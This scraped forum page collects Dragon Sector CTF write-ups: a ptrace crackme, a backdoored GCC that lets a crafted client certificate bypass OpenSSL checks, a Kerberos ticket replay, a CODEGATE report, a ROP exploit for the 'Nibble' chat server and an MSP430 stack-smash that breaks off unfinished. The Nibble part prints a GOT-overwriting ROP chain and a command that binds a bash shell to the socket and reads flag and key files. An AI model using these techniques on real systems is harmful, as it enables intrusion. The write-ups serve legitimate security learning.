-
Postów
1 369 -
Dołączył
-
Ostatnio
Nigdy -
Days Won
2
Typ zawartości
Profile
Fora
Kalendarz
Articles
Pliki
Wszystko napisane przez DevStart Blogi
-
Looking at the binary for the first time we can say that this challenge is a 64bit ELF binary that does something related with ptrace. Because Hex-Rays fails with decompiling 64bit code we need to play a bit with a disassembler and find out how does the program work. To solve this crackme I’ve used Bokken (this is quite nice frontend for pyew & radare). After some time spend in front of disassembler and debugger I was able to say that the program has used a bit unconventional way of sending the messages that looked as follow: Attach to a processSet the dword at 0x618180 to 0x1 // notify about the messageSet the dword at 0x618184 to destination id // each pid had its unique idSet the dword at 0x618188 to message type // offset in the procedures tableFill the space from 0x61818c up to 0x69818c by message argumentsDetach from the processSend the signal to the processEach (except parent) process had its own dispatcher of incoming messages that was checking address 0x618180 and when it was set to some not-null value, the corresponding handler of the message was called (based on the message type). The dispatcher: So when the message arrived, first it was checked if it was addressed to self node (which id was hold in r13) and if not, it was forwarded to previous from 7 nodes using the same method as described earlier (attach, modify memory, detach, signal). Using this scheme the parent process could send the message to any node having the handler only to its first child which would forward the message to the other node and so forth... In fact the child process forwards the message to its predecessor and the initial predecessor of the #0 child was the parent node but the parent process changes it by sending the message to #0 asking to set the default forward node to #6 (function with offset 0 in procedures table, let’s use one-based indexing and name it the message of the first type). Using this message forwarding, the parent process sends many messages of the second type to #0 where each message is addressed for different child: for (child = 0; child < 8; ++child): r14 = [0x618160 + 4*child] ptrace_attach([0x618160 + 4*r14]) ptrace_modify([0x618160 + 4*r14], 0x618180, 1) ptrace_modify([0x618160 + 4*r14], 0x618184, r14) ptrace_modify([0x618160 + 4*r14], 0x618188, 1) r12 = [0x6180c0 + 8*r14] r13 = [0x618100 + 4*r14] for (i = 0; i < r13; ++i) ptrace_modify([0x618160 + 4*r14], 0x61818c + 4*i, [r12 + 4*i]) ptrace_detach([0x618160 + 4*r14]) From high level perspective the handler of the second messages does quite a simple thing, just stores the memory - argument of procedure - to it’s internal buffer (*0x618140 + 4): Procedure #2 at 0x401196: length = *0x61818c * 0x404 *0x618140 = malloc(4 + length) *0x618140 = (DWORD)*0x61818c memcpy(buffer, length, 0x618190) It takes a moment and after that we are asked to enter the string of our choice: This may take a while... ....... Please enter a string: _ When we enter some password, the parent process starts to send the fourth type of messages to its first child: for each letter in password: ptrace_attach(*0x618160) // first child ptrace_modify(*0x618160, 0x618180, 1) ptrace_modify(*0x618160, 0x618184, 0) ptrace_modify(*0x618160, 0x618188, 3) ptrace_modify(*0x618160, 0x61818c, [rsp+0x98]) // letter ptrace_detach(*0x618160) but as we can see, the child forwards it to its predecessor: Procedure #4 at 0x4011f5: *0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)] if (r14d < 7) // not the last child { ptrace_attach(*0x61814c) // predecessor ptrace_modify(*0x61814c, 0x618180, 1) ptrace_modify(*0x61814c, 0x618184, r15) // self id + 1 ptrace_modify(*0x61814c, 0x618188, *0x618188) for (i = 0; i < 0x20000; ++i) ptrace_modify(*0x61814c, 0x61818c + 4*i, *(0x61818c + 4*i) ptrace_detach(*0x61814c) } else notify parent about finish In practise it looks like each child except the last one sends the message to its predecessor addressed to its successor, so the message is forwarded by all of the nodes to finally reach its destination. If you look closer to this procedure it not only forwards the data but also changes the state using the received letter. Finally when all of the letters are sent, the parent submits the last message (third type) that is some kind of a check of a password and looks like this: Procedure #3 at 0x400db8: [rsp+0x98] = getpid() [rsp+0x9c] = 1 for (int i = 0; i < 8; ++i) if (i == myId) { [rsp+0x9c] &= [buffer + 4*(*0x618148 * 0x101)] } else { ptrace_attach(*0x61814c); ptrace_modify(*0x61814c, 0x618180, 1) ptrace_modify(*0x61814c, 0x618184, i) ptrace_modify(*0x61814c, 0x618188, 4) ptrace_modify(*0x61814c, 0x61818c, [rsp+0x98]) ptrace_detach(*0x61814c) while (*0x618180 == 0) sleep() *0x618180 = 0 [rsp+0x9c] &= *0x61818c } ptrace_attach(*0x618150) ptrace_modify(*0x618150, 0x618180, 1) ptrace_modify(*0x618150, 0x618180, 0) ptrace_modify(*0x618150, 0x618188, 0) ptrace_modify(*0x618150, 0x61818c, [rsp+0x9c]) ptrace_detach(*0x618150) So in short: send the message of the fifth type to each node except myself and wait for the answer. In the end send the message to parent informing if each of the nodes verified the password as true. Procedure #5 at 0x40142c: [rsp+98] = [buffer + 4*(*0x618148 * 0x101)] ptrace_attach(*0x61818c) ptrace_modify(*0x61818c, 0x618180, 1) ptrace_modify(*0x61818c, 0x618184, 0) ptrace_modify(*0x61818c, 0x618188, 0) ptrace_modify(*0x61818c, 0x61818c, [rsp+98]) ptrace_detach(*0x61818c) Now having the knowledge how all of this stuff works, we could try to find the string that will be verified by all of child nodes. The value returned by each child is: [buffer + 4*(*0x618148 * 0x101)] where *0x618148 is previously generated from password letters: *0x618148 = (DWORD)[buffer + 4*(*0x618148 * 0x101 + *0x61818c + 1)] which looks like some kind of map… and in fact it is sort of map or finite state machine whose states are described by this fragments of memory previously transferred to each of the nodes. Now doing the boring part of analysis this memory chunks and transforming it into finite state machines we are able to discover that each of children checks some part of the password. Using regular expressions: #0: ^\{[^}]*\}$ #1: ^.{32}$ #2: _[^_]*_[^_]*_ #3: ^.my #4: _synchronization #5: _[^_]*_skills #6: _[^_]*_[^_]*_suck All of these parts can be easily merged to the final solution: {my_synchronization_skills_suck} That's all, nice one.Wyświetl pełny artykuł
-
Without further ado: http://ctf.dragonsector.pl/. The teaser will start on the 26th of April, 9:00 A.M. CEST (GMT+2) - for other timezones click here - and will consist of five tasks (web, re, pwn, crypto, stegano). Please note this is an individual CTF. The top three players will receive entrance tickets to the CONFidence conference, which will take place on the 27th-28th of May in Cracow, Poland. All other participants will receive discounts for the same conference, starting at 20% up to 50%. We will also run an offline individual CTF with about 25 tasks at CONFidence - more details will follow soon. See you on the battlefield! Wyświetl pełny artykuł
-
PlaidCTF 2014 was an awesome event. This year it gathered ~1000 teams competing by solving really challenging and fun tasks (there were a lot of them - mostly tricky, requiring solid knowledge as well as good intuition, more than requiring a lot of mundane work with debugger). Our team - the Dragon Sector - finished 2nd this time. Both tasks mentioned in the post title have been solved by only 5 teams each, so you're probably longing to find out how we cracked them? Here it is, just remember - both of the tasks were solved rather by means of testing, guessing and trying various things and not by any subtle and meticulous analysis. If you'd like to learn more about technologies described here (GCC and Kerberos) it'd be way better if you got a good specification on this software, instead of getting the knowledge by reading our solutions :). OK, for those who like the hacker-way-of-solving things, here's our story: GCC (300)The task has been solved by jagger, gynvael & valis. Description: This is bad. Very bad. You travel back in time, only to see that The Plague has finagled his way to the gcc dev team. What sort of mischief he can cause for the future from this point of power is hard to say... find out what he's up to immediately! Here's a copy of GCC. We're pretty sure he's running something at https://107.21.133.9/. After clicking on the link we were given a complete gcc toolchain for the 64-bit Linux system. At this point we started just poking randomly around the toolchain, looking at outputs produced by it, and comparing with the stock compiler's outputs. We also compiled the same version of the compiler with the same flags (found in one of the .h files), but due to too much diff noise, it was really hard to compare those two gcc toolchains. We were considering using zynamic's BinDiff, but in the end we took another approach. As nothing interesting came out from our quick poking around the compiler toolchain, we started looking at https://107.21.133.9/. It's a simple web-page served over a HTTPS server and displaying just "Unauthorized.". Authors of the task mentioned that the software compiled with the aforementioned backdoored gcc is running on the host, so we were able to come up with only limited number of plausible software suites that could be used there:ApacheOpenSSL (cause the Apache was running with mod_ssl.so or with SSL proxy)and a couple of less obvious ones:PHPPythonvarious utility libs (zlib, libc etc.)And we were just lucky, because the first software suite we compiled with the backdoored gcc was OpenSSL. After comparing the original and backdoored versions with diff -Nu (by dumping the asm with objdump -d libssl.so), it turned out that one of the OpenSSL function had been modified, and it was .....wait for it.... ssl_verify_cert_chain():). In essence, the following code block was responsible for the complete backdoor functionality: .text:00000000000009A0 loc_9A0: ; CODE XREF: ssl_verify_cert_chain+20j .text:00000000000009A0 xor esi, esi .text:00000000000009A2 mov rdi, rbx .text:00000000000009A5 call sk_value ; PIC mode .text:00000000000009AA mov rcx, [rax+20h] .text:00000000000009AE mov rdx, rax .text:00000000000009B1 mov eax, 1 .text:00000000000009B6 cmp dword ptr [rcx], 233D4F2Fh .text:00000000000009BC jz short loc_994; ---------------------------------------------------------------------------.text:0000000000000994 loc_994: ; CODE XREF: ssl_verify_cert_chain+4Cj .text:0000000000000994 ; ssl_verify_cert_chain+149tj .text:0000000000000994 add rsp, 110h .text:000000000000099B pop rbx .text:000000000000099C pop rbp .text:000000000000099D pop r12 .text:000000000000099F retn As you probably noticed, the code is trying to get "something" from the OpenSSL's x509 certificate stack (sk_value), and then verifies that data, by comapring the 4 first bytes pointed by a pointer fetched from this stack, to 0x233D4F2F (little endian). Those 4 bytes, when converted to an ASCII string, give: /O=# Now, this looked suspliciously similar to the format used by X509 certificates to store information about DNs (Distinguished Names), didn't it? So, if this check (cmp dword ptr [rcx], 233D4F2Fh) succeeds, the code skips any further validation attempts and just "returns 1". We also confirmed, by reading the OpenSSL source code, that, indeed, the pointer at sk_value + 0x20 points to the peer certificate's DN. Diff of original and modified libssl.so We tried to create a self-serving certificate with (Organization) O=# but it wasn't that easy. First of all, the default openssl x509 command requires that the first DN field, the country, is actually set to something sane. We bypassed that, by editing /usr/lib/ssl/openssl.cnf and setting countryName_min value to 0. We also edited a few other things there, so their default values could be empty (so the certificate's DN string could start with /O=). Then, we created a proper key/certificate pair. $ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem Generating a 2048 bit RSA private key.................................................+++......+++writing new private key to 'key.pem'Enter PEM pass phrase:Verifying - Enter PEM pass phrase:Country Name (2 letter code) []:State or Province Name (full name) []:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]: #Organizational Unit Name (eg, section) []: AACommon Name (e.g. server FQDN or YOUR name) []:ABCEmail Address []:A@o.com Used it with wget: $ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O - Enter PEM pass phrase: Connecting to 107.21.133.9:443... connected. WARNING: cannot verify 107.21.133.9's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’:. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"><head><title>Flag Service</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /></head><body><h3>Only members of "Plaid CTF" are allowed. You are part of "AA".</h3></body> Ha.. that's really close! We figured out that "AA" is our OU (Organizational Unit), and we changed it to "Plaid CTF". Another wget request, and we got the flag: $ wget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O - Enter PEM pass phrase: Connecting to 107.21.133.9:443... connected. WARNING: cannot verify 107.21.133.9's certificate, issued by ‘/C=US/O=Plaid CTF/L=Pittsburgh/ST=Pennsylvania/CN=Certificate Authority’: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US"> <head><title>Flag Service</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head><body><h3>Your flag: </h3><p>bleeding_trust_on_your_reflections</p> </body> Freya (250)This task has been solved by jagger, redford & vnd. Description:We've traveled back far, but this protocol looks familiar... Our reconnaissance team did a great job, they got us a data capture from the currently running systems and a private key from the server (shell.woo.pctf which resolves to 54.226.73.167) . Take a look at the traffic our reconnaissance team picked up, and see if you can get access to The Plague's server, at 54.226.73.167. The archive contained the following files:in/passwordin/freya_priv.pemin/freya.pcapngin/freya_cert.pemThe *.pcapng file included two types of TCP sessions. 1). Two HTTPS requests (the plain HTTP content can be decoded with Wireshark by providing freya_priv.pem and freya_cert.pem to the SSL protocol analyzer). They were directed at 54.226.73.167:443, and contained the following request. POST /kkdcp HTTP/1.0Cache-Control: no-cachePragma: no-cacheUser-Agent: kerberos/1.0Content-type: application/kerberosContent-length: 280 0j0k0i0MIT0LEC0A:8x[o>8ZkZ~=kgZG;|[R!ODN\s0}0{P00pppWOO.PCTF!00hostshell.woo.pctf20140413023756Z"U0WOO.PCTF Wireshark analysys of the in/freya.pcapng 2). A SSH session with 54.226.73.167 The HTTP session consisted of two distinct HTTP request/replies pairs. The first one looked like a Kerberos ticket request or somesuch, didn't it? . It was replied with a NEEDED_PREAUTH message, which basically means that a user password is required. The second HTTP POST request presumably provided a password, and the KRB ticket for host/shell.woo.pctf@WOO.PCTF had been returned in response to that. It's all guessing, but having been working with Kerberos for some time, it seemed like an educated guess. We started proxying custom kinit requests for the key (rewriting kerberos protocol to HTTPS and back) in order to obtain a new kerberos key, but something wasn't right. It seems that the HTTPS requests and replies were encapsulated in some kind of container, and carried additional bytes at the beginning of each packet (9 and 12 bytes in those HTTP requests respectively). So, we simply added those bytes with our proxy (a simple net/file proxy written in C), taken from the original TCP/HTTPS session visible in wireshark. We also removed those unnecessary bytes from the KDC responses so kinit could interpret them. With that, we were able to get the ticket by feeding kinit with proxied data. We spent some time on getting the right parameters to the kinit command, but after some forth and back we found the right combination: kinit -S host/shell.woo.pctf ppp. It's worth noting that by default kerberos was asking for the tgt (ticket granting ticket), a request which wasn't replied to by the KDC server set up by PPP. This task also required modifying the local /etc/krb5.conf, so the ticket requests were directed at our proxy and not at some random server. The essential part of it: [realms] WOO.PCTF = { kdc = 127.0.0.1:9999 default_domain = woo.pctf } [domain_realm] woo.pctf = WOO.PCTF By providing password found the in/password file (shellpls), we were able to obtain a valid ticket for shell.woo.pctf from this peculiar KDC. $ klist -aTicket cache: FILE:/tmp/krb5cc_1000Default principal: ppp@WOO.PCTFValid starting Expires Service principal04/13/2014 15:48:41 04/14/2014 15:48:25 host/shell.woo.pctf@WOO.PCTF Now, let's repeat parameters of the ssh session which we found in the *.pcapng $ ssh ppp@54.226.73.167 -o GSSAPIKeyExchange=yes -o GSSAPIServerIdentity=shell.woo.pctf M1T&H31MD4L&M1CR0$0FT&SH1SH1 Voila! Hope you liked it! Wyświetl pełny artykuł
-
Last week a representation of the Dragon Sector team consisting of j00ru, valis, redford, jagger participated in the finals of the renowned competition in Seoul, South Korea - CODEGATE CTF. As this was was quite an adventure for all of us both in terms of exploring new cultures and taking part in an offline event (which would be the second one for our team), we decided to share the experience with you in the form of a short status update blog post. Some of us arrived to South Korea three days before the competition, others only two days in advance. Overall, this gave us enough time to both get over an 8-hour jetlag and do some sightseeing in the capital, feeling the vibe of the city, trying out local cuisine (and Soju!) and so forth. After a nice period of relaxation, time has come for some rivalry. The CTF was held in COEX Convention & Exhibition Center, next to where the CODEGATE conference would be held the following day, and lasted for 20 hours - since 2 p.m. on 2nd of April (Wednesday) until 10 a.m. on 3rd of April (Thursday). All 14 teams playing in the finals were seated in a single, large room, each being provided three desks (clearly labeled with a signboard containing the team's name, country of origin, flag and logo), power supply and network connectivity; the organizers also had their spot set up on stage in one of the corners, from where they would announce news like newly published, broken and fixed tasks. During a brief orientation, we were informed about the standard rules of the contest (jeopardy format, a maximum of four players per team, no flag sharing, no hinting to other teams, no attacks on infrastructure etc) and spent the remaining time setting up and chatting with the other groups. A few minutes past 2 p.m., the CTF web system in the local network was up and the competition started. The CTF opened with five tasks available, with more challenges added throughout the entire competition, with the last one becoming available just 30 minutes before the end of the contest. There were a total of 15 tasks split between the "web", "exploitation", "reverse engineering" and "mixed" categories, some of them worth as much as 750 or 800 points and consisting of multiple levels. All in all, the event was extremely binary-oriented with a slight taste of web security - something we expected and prepared for. The first three teams to solve each task would receive a bonus of 30, 20 and 10 points respectively, thus capturing the flags in a timely manner was highly encouraged, yet not easy, considering that a majority of the solid and well-known teams showed up there. While there were one or two small hiccups such as a broken task, the technical quality of the CTF was top notch. The tasks were interesting and challenging, the broken ones would be fixed by the crew within an hour of announcement and truth be told - we had a lot of fun playing the game, which is probably the most important aspect of any CTF. In addition to that, the organizers made sure we were provided with food and drinks so that we wouldn't have to take care of this ourselves. Thanks to all this, we really enjoyed the 20 hours we spent in the room. :) For the most part of the contest, PPP was the leader in the ranking, with occassional shuffling in the top2-top5 positions. Since about 12 hours into the game, we managed to take the second place and maintain it until ~1.5 hours before the end, when More Smoked Leet Chicken solved a task and overtook us by 70 points. While we did have one more task solved, we were short by two minutes to get the remote shell and submit the flag, before the CTF ended precisely at 10 a.m. As a result, the final top3 remained as follows:PPP (6080 pts)More Smoked Leet Chicken (2940 pts)Dragon Sector (2870 pts) The awards ceremony was long, pompous and unfortunately all in Korean. All of the participating teams were invited to the stage, and the first three teams were handed their statuettes, diplomas and checks. After that, the CODEGATE conference started and we could finally get some sleep. We're extremely happy to have been able to participate in this great CTF thanks to the technical crew, authors of the tasks and the organizers of the conference. We congratulate both MSLC and PPP for their great performance and are looking forward to a visit in Seoul next year! As a closing note, we are still looking for sponsors to be able to take part in the DEF CON CTF in Las Vegas, USA and possibly other competitions this year. For details, see here. Wyświetl pełny artykuł
-
The recent Nuit Du Hack CTF Quals CTF was mostly web, crypto and forensics-oriented, with no tasks explicitly categorized as "Exploitation" or "Pwning", my favourite kind. However, a brief investigation has shown that the "Nibble" challenge marked as "Misc" and worth 600 points was indeed an exploitation task, and quite interestingly looking one. I immediately allocated it to myself and started looking into the provided files: a x86 ELF server binary (NibbleServer) and a set of Python client scripts (NibbleClient.tar.gz). By providing the latter, the organizers made it extremely easy to understand the overall logic of the system, which is as follows:The client creates a chat_protocol_pb2.AuthPacket protocol buffer object, fills out the only field (string) with user-supplied name and sends it to the server (following a trivial protocol).The server replies with a chat_protocol_pb2.TokenResponse protobuf containing a 7-letter pseudo-random authentication token assigned to the username.The client can then send a chat_protocol_pb2.ChatMessage structure, containing a cookie (being the previously received token), nickname and the message.At this point, it was clear we were dealing with a trivial implementation of a chatroom, which could be further confirmed by running the server and clients locally: Now, the interesting thing about the server is how it is implemented internally: for each connection, the server would create a new thread (using pthread_create), maintain a list of structures describing the entirety of all connections and use them when any of the clients sends a new message: This is an interesting design decision, as it results in all clients being handled by code running in the same address space, meaning that access to any shared resources (such as global variables) should be properly synchronized. If we look further into start_routine (the connection handling function) and into the implementation of the authorization code, and spend a few minutes adjusting variable types and names, we should end up with the following representation of the function at 0x8049b29: Here, you can see that the server deserializes the AuthPacket protocol buffer, assigns a pointer to the provided username to a global variable (username), then if the length of the string is not more than 100, it invokes a cryptic process_username function using the pointer saved in a global variable after a short, artificial delay of 10ms. If we then look into process_username, everything becomes clear: Because of the multithreaded design of the application and no synchronization protecting access to the global username pointer, we can take advantage of a time-of-check-time-of-use (TOCTOU in short) condition to force a stack-based buffer overflow in the process_username routine by having several threads continuously send packets containing short and long strings, alternately. Once we do this on a local machine, the server should crash in the following manner within a fraction of second: Running as j00ru [New Thread 0xf7cbab40 (LWP 11929)][New Thread 0xf74b9b40 (LWP 11932)][New Thread 0xf6cb8b40 (LWP 11934)] Program received signal SIGSEGV, Segmentation fault.[Switching to Thread 0xf6cb8b40 (LWP 11934)]0x41414141 in ?? () As the checksec.sh script informs us, the binary has NX enabled, but RELRO, stack cookies and PIE disabled. This means that we cannot directly execute a shellcode of our choice from e.g. the stack - however, we can easily intercept the control flow, create ROP chains of our choice without any information leaks from the service and freely tamper with the import table of the executable. In this situation, we would typically ROP our way to system("/bin/sh"); the system function itself is present in .got.plt, but we didn't have any controlled string in the static memory, and at the time, we didn't notice a pointer to our string (in fact, protocol buffer) stored on the stack, as demonstrated in another public exploit. We could try to create a ROP chain to overwrite one of the .got entries and terminate the local thread through pthread_exit; however, we were not able to find sufficient gadgets in the small binary (this is not to say there aren't). Yet another way would be to overwrite .got by using the recv function to read into the desired memory area from our socket - however, this would require us both to know the socket's file descriptor index (given that there were multiple connections established by a number of CTF participants, it was not easily gueassble) and put binary zeros on the stack, whereas the unsafe sprintf wouldn't allow us to do that. In this setting, we came up with and decided to use a technique specific to the NibbleServer executable. If we look at the layout of the .got.plt section, we can see the following: .got.plt:0804B134 __errno_location.got.plt:0804B138 sprintf.got.plt:0804B13C srand.got.plt:0804B140 pthread_exit.got.plt:0804B144 __gmon_start__.got.plt:0804B148 realloc.got.plt:0804B14C recv.got.plt:0804B150 system.got.plt:0804B154 listen.got.plt:0804B158 protobuf_c_message_get_packed_size.got.plt:0804B15C __libc_start_main.got.plt:0804B160 htons.got.plt:0804B164 __assert_fail.got.plt:0804B168 perror.got.plt:0804B16C usleep.got.plt:0804B170 free.got.plt:0804B174 accept.got.plt:0804B178 socket.got.plt:0804B17C strlen.got.plt:0804B180 protobuf_c_message_free_unpacked.got.plt:0804B184 strcpy.got.plt:0804B188 protobuf_c_message_pack_to_buffer.got.plt:0804B18C bind.got.plt:0804B190 pthread_detach.got.plt:0804B194 protobuf_c_message_unpack.got.plt:0804B198 protobuf_c_message_pack.got.plt:0804B19C close.got.plt:0804B1A0 time.got.plt:0804B1A4 malloc.got.plt:0804B1A8 pthread_create.got.plt:0804B1AC send.got.plt:0804B1B0 puts.got.plt:0804B1B4 setsockopt.got.plt:0804B1B8 rand.got.plt:0804B1BC bzero.got.plt:0804B1C0 __gxx_personality_v0.got.plt:0804B1C4 _Unwind_Resume.got.plt:0804B1C8 strcmp.got.plt:0804B1CC exit Out of those, there are two functions which are passed attacker-supplied strings as their first parameters: strlen and strcmp; we would ideally like to overwrite one of them with the address of system. While we don't have a "read from" and "write to" ROP primitives, nor do we have a function like memcpy, we still have strcpy! Let's consider our options: if we do: we would instantly trash all .got entries past the address of strlen (everything after 0x804b180), likely crashing the process on the first attempt to use any of the destroyed addresses. Doing: sounds like a much better idea: in that case, we only additionally overwrite the address of exit with listen, which is not much a deal given that the process isn't actively terminating at the time of exploitation. However, we are still trashing subsequent .data information following .got.plt. In order to mitigate this and minimize the number of bytes overwritten past the strcmp pointer, we can insert a \0 byte into one of the .got entries after the .got.plt.system item, in order to make the &got.plt.system "string" look shorter to strcpy. It's best that the function we overwrite with a nul byte is never used again, and when we take another look at the GOT layout, we can see that __libc_start_main at 0x804b15c is a perfect candidate: it is only called at the beginning of process execution and is only 8 bytes away from the system entry. The \0 can be injected using strcpy again, with the source parameter set to a zeroed-out memory area, such as 0x804b1d4 (inside of .data): After the two strcpy calls, the memory layout around GOT is as follows: .got.plt:0804B134 __errno_location.got.plt:0804B138 sprintf.got.plt:0804B13C srand.got.plt:0804B140 pthread_exit.got.plt:0804B144 __gmon_start__.got.plt:0804B148 realloc.got.plt:0804B14C recv.got.plt:0804B150 system.got.plt:0804B154 listen.got.plt:0804B158 protobuf_c_message_get_packed_size.got.plt:0804B15C \0 ibc_start_main.got.plt:0804B160 htons.got.plt:0804B164 __assert_fail.got.plt:0804B168 perror....got.plt:0804B1BC bzero.got.plt:0804B1C0 __gxx_personality_v0.got.plt:0804B1C4 _Unwind_Resume.got.plt:0804B1C8 system.got.plt:0804B1CC listen.data:0804B1D0 protobuf_c_message_get_packed_size Since we're against a race condition, we don't know exactly when we hit the right timing and .got becomes overwritten - therefore, we would like to keep the process alive at all times by preventing any kind of unnecessary exceptions. To make this happen, we terminate the current thread cleanly via pthread_terminate. The overall ROP chain formed in Python looks as follows:padding_addr = 0x8049d42 def rop_strcpy(dst, src): strcpy_jmp = 0x8048ca0 return (struct.pack('I', strcpy_jmp) + struct.pack('I', padding_addr) + struct.pack('I', dst) + struct.pack('I', src) + "A" * 0x24) def rop_pthread_exit(exitcode): pthread_exit_jmp = 0x8048b90 return (struct.pack('I', pthread_exit_jmp) + struct.pack('I', padding_addr) + struct.pack('I', exitcode)) def rop(): nul_data_address = 0x804b1d4 libc_start_main_got = 0x804b15c system_got = 0x804b150 strcmp_got = 0x804b1c8 pthread_exit_got = 0x8048b90 return (rop_strcpy(libc_start_main_got, nul_data_address) + rop_strcpy(strcmp_got, system_got) + rop_pthread_exit(0xdeadbeef)) However, if we try to use the above payload in our exploit using the original chat_protocol_pb2.py protocol buffer implementation provided by the organizers, we will encounter the following error: It turns out that the username field in the AuthPacket message was defined as type "string", which only accepts correctly encoded textual strings. In order to work around this, we have to rewrite the protocol buffer definitions on our own, changing the field's type from "string" to "bytes": package NibblesChat; message AuthPacket { required bytes username = 1;} message ChatMessage { required string cookie = 1; required string nickname = 2; required string textmessage = 3;} and compile it locally to create a new chat_protocol_pb2.py file: $ protoc chat_protocol.proto --python_out=. With this sorted out, our exploit can now successfully overwrite strcmp with system: (gdb) x/1wx 0x804b1500x804b150 <system@got.plt>: 0xf7fb7e10(gdb) x/1wx 0x804b1c80x804b1c8 <strcmp@got.plt>: 0xf7fb7e10(gdb) x/1i 0xf7fb7e100xf7fb7e10 <system>: push %ebx Hurray! We now have the ability to execute arbitrary commands on the remote server via the ChatMessage packet, which contains a string passed directly as the first parameter to the overwritten strcmp. However, all attempts to spawn a reverse shell via netcat and other traditional methods failed. Normally, we would invoke a "/bin/sh <&4 >&4" command to have the shell's standard input and output redirected to our socket at a known fd; however in this case, we don't know the exact numeric value of the socket. Luckily, the strcmp standard function is called using the __cdecl convention, meaning that a mismatch in the number of parameters between strcmp and system does not misalign the stack and crash the application. Therefore, we have an unlimited number of attempts to guess the fd, which we achieved using the following code:for i in range(1, 100): # Send message. msg = chat_protocol_pb2.ChatMessage() msg.cookie = "echo test >&%u; cat fla* ke* ~/fla* ~/ke* >&%u; /bin/bash <&%u >&%u" % (i, i, i, i) msg.nickname = "j00ru//drgns" msg.textmessage = "pwned."; data = "2" + msg.SerializeToString() s.send(struct.pack('<I', len(data)) + data)While we had the exploit ready after not too long since we started working at the task, the service was overloaded at the time of the CTF, with multiple teams attempting to solve it and crashing the process before anyone could grab the flag (hell, my exploit probably contributed to the situation a lot). After two tedious hours, our console would finally spit out the flag and provide us with remote shell access to the vulnerable box: And that's how we earned 600 points as the only team to successfully solve the task during the competition run time. The full exploit can be found at http://j00ru.vexillium.org/dump/ctf/nibble.py. Cheers!Wyświetl pełny artykuł
-
Continuing the trend of Hardware-related tasks on recent CTFs (<3 you, RuCTF!), the Insomni'hack 2014 organizers prepared a very nice microcontroller keygenme/pwn task named “Life is even harder”. Since I (q3k) really enjoy challenges on weird and obscure platforms, this was the perfect thing for me to take a look at. The ChallengeSince the competition was on-site in Geneva (well, near Geneva - at the Palexpo centre), this allowed for the opportunity to have a real-life device to mess around with. Here is what was sitting at the NOC/conference organizer table: MSP430 DevboardMSP430 + DisplayWiring of MSP430, Bus Pirate & DisplayThe devboard is obviously a Texas Instruments MSP430 launchpad. Attached to it is a Bus Pirate used as a serial interface, and a round device of no obvious use... What could it be..?Nicolas, the author of this challenge, explained that it is a simple display controlled by a servo. If you rotate the motor, the flag will be revealed underneath the red cover! To rotate the motor, you need to input a password via UART/Serial. Alright then, let's get cracking - this is going to be fun.The first flagWe were also given the firmware that is uploaded onto the launchpad. As stated earlier, this is an MSP430 device. While I was semi-familiar with the architecture, I never actually had to read assembly for it before. Fortunately enough, the firmware was very small and simple. There was only a handful of functions, and they all had non-stripped symbols. Among them, a few were of interest:main - seems to set up peripherals by writing into some magic memory-mapped registers__isr_7 - the Interrupt Service Routing that gets fired when the device receives a character on the serial connectioncheckpwd - seems to check the password (well, obviously)moveDisplay - looking at cross-references, when called with a zero, moves the display mask into the default position. When called with a 1, reveals our flag.Let's take a lok at the UART ISR. If you want to play along at home, read up a bit about MSP430 assembly (it's very simple and elegant) and reverse-engineer the routine yourself. Otherwise, let me present you with a pseudocode equivalent: UART ISR, in pseudocodeNothing too terribly interesting to see here - we just know that the password is newline-ended. Let's then take a look at the checkpwd function... The function, after first memcpy()ing the password into the stack into 0xFFF4(SP) - 0xFFFn(SP) proceeds to do some mangling on the first 5 characters: Password mangling functionI can identify the following things happening:The 4th byte of the password is first incremented by 0x9C, then by 0xFFThe 1st byte of the password is XORed with 0x33The 2nd byte of the password is XORed with 0x6EThe 3rd byte of the password is subtracted from the 5th byte of the passwordThe 5th byte of the password (after the 3rd is subtracted from it) is incremented by two (incd - increment double, a.k.a. +=2)The 3rd byte of the password is XORed with 0x54Some stack values get cleared.Hm. Let's see what happens after that: Password sum function0xFFF0(SP) is used as a counter - loc_C17A is supposed to be ran 5 times. After a few more minutes of staring at that code, we can easily see that we are simply summing the first five bytes of the password into an accumulator at 0xFFF2(SP), which is then returned into the UART ISR. If you recall, checkpwd returns zero on success - so the first five bytes of our password after mangling should sum to zero, therefore they should all be zero. Part of the mangling consists of XORing the bytes of the password with some magic values. In order to make the resulting bytes zero, we can just set the bytes of that password to their corresponsing magic values. This is what we get:1st byte: 0x33 ('3')2nd byte: 0x6E ('n')3rd byte: 0x54 ('T')4th byte: ?5th byte: ?Recall that the 4th byte is first incremented by a magic value (0x9C), then 0xFF (-0x01) is added to it - and that should result in a zero. So, (BYTE + 0x9C) should be equal to 0x0101 (so that it wraps to 0x00 after adding 0xFF). Therefore, the 4th byte should be 0x65 ('e'). Well then, now we know that the password starts with '3nTe', with one last letter to figure out. Looking back at our analysis, we now know that (0x54- BYTE) + 2 should be equal to zero - so BYTE should be equal to 0x52 ('R'). And thus, we have recovered the correct password - 3nTeR! After testing it on the real device, we got the display to move 90 degrees counter-clockwise and reveal our flag: w00t \o/The second flagAfter solving this, we got told by Nicolas that there is still one flag to be found in this challenge - and to get it, we should make the display move around in the other direction. How can we make that happen..? Of course, the memcpy() call in checkpwd! Instead of copying only the 5 required bytes of data into the stack, it copies as many bytes as it received over the wire. So, we have a classic stack-smashing scenario - we need to overwrite the return pointer of checkpwd() to point into our UART receive buffer (0x202), which should be filled with “shellcode” that would make the display turn the other way around. Let's first write that shellcode - how to make that display move clockwise..? Thankfully, the moveDisplay function can be called with a different parameter - 2 - to make the servo rotate the other way around - precisely what we need! 